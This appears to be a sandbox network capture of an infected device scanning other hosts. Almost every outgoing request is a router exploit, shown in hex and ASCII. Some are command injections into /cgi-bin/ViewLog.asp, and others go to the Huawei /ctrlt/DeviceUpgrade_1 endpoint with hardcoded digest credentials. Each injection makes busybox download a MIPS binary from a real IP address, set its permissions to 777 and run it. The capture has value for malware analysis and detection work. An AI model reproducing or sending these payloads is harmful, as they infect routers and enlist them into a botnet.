Nov 23, 2023 05:15:37.876375914 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	38840	85.154.98.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:38.111511946 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	57150	62.78.36.130	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:38.793766022 CET	326	IN	HTTP/1.0 400 Bad Request Server: httpd/2.0 Date: Thu, 23 Nov 2023 04:19:12 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	45624	95.216.226.224	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:39.797969103 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:39.993803024 CET	533	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:15:39 GMT Server: Apache/2.4.29 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1 mod_perl/2.0.10 Perl/v5.26.1 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	52626	94.137.187.27	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:39.842495918 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:40.085880995 CET	839	IN	HTTP/1.1 404 Not Found Server: mini_httpd/1.30 26Oct2018 Date: Thu, 23 Nov 2023 04:15:39 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: frame-ancestors 'self' Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 20 20 20 20 3c 68 72 3e 0a 0a 20 20 20 20 3c 61 64 64 72 65 73 73 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 33 30 20 32 36 4f 63 74 32 30 31 38 3c 2f 61 3e 3c 2f 61 64 64 72 65 73 73 3e 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found. <hr> <address><a href="http://www.acme.com/software/mini_httpd/">mini_httpd/1.30 26Oct2018</a></address> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	49536	62.29.61.65	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:40.061575890 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	34690	95.86.113.100	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:40.071712017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	34406	62.29.52.116	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:40.095812082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	45022	156.247.28.76	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:40.205476999 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:41.862597942 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:43.814599037 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:47.750605106 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:55.686569929 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo 